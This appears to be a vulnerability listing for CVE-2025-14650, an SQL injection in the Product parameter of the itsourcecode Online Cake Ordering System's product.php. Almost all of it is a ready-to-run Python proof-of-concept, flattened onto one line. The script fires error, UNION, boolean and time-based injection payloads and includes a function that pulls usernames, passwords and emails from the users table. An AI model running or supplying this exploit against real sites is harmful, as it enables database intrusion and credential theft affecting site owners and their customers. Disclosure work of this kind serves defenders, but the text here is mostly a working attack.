CVE-2025-14650 | itsourcecode Online Cake Ordering System 产品参数SQL注入漏洞

import requests import sys # CVE-2025-14650 PoC - SQL Injection in Online Cake Ordering System # Target: itsourcecode Online Cake Ordering System 1.0 # Endpoint: /cakeshop/product.php # Parameter: Product (vulnerable to SQL injection) def test_sql_injection(target_url): """Test for SQL injection vulnerability in Product parameter""" # Basic injection test - single quote to trigger SQL error payload_basic = "'" # Union-based injection to extract database version payload_union = "' UNION SELECT NULL,version(),user(),database(),NULL-- -" # Boolean-based blind injection to extract table names payload_boolean = "' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)='1" # Time-based blind injection payload_time = "' AND SLEEP(5)-- -" print(f"[*] Testing SQL Injection on {target_url}") print(f"[*] Target endpoint: /cakeshop/product.php") print(f"[*] Vulnerable parameter: Product") test_cases = [ ("Basic injection", payload_basic), ("Union-based injection", payload_union), ("Boolean-based injection", payload_boolean), ("Time-based injection", payload_time) ] for test_name, payload in test_cases: try: params = {"Product": payload} response = requests.get(target_url, params=params, timeout=10) if "sql" in response.text.lower() or "error" in response.text.lower() or response.status_code >= 500: print(f"[+] {test_name}: VULNERABLE - SQL error detected") else: print(f"[-] {test_name}: Not directly vulnerable") except requests.exceptions.RequestException as e: print(f"[!] Error during {test_name}: {e}") def extract_data(target_url): """Extract sensitive data using union-based injection""" # Payload to extract users table data union_payload = "' UNION SELECT 1,username,password,email,4 FROM users-- -" print(f"[*] Attempting to extract user credentials...") params = {"Product": union_payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Response received - check for leaked credentials") print(f"[+] Response length: {len(response.text)} bytes") except requests.exceptions.RequestException as e: print(f"[!] Extraction failed: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_14650_poc.py <target_url>") print("Example: python cve_2025_14650_poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target) extract_data(target) print("\n[*] PoC execution completed")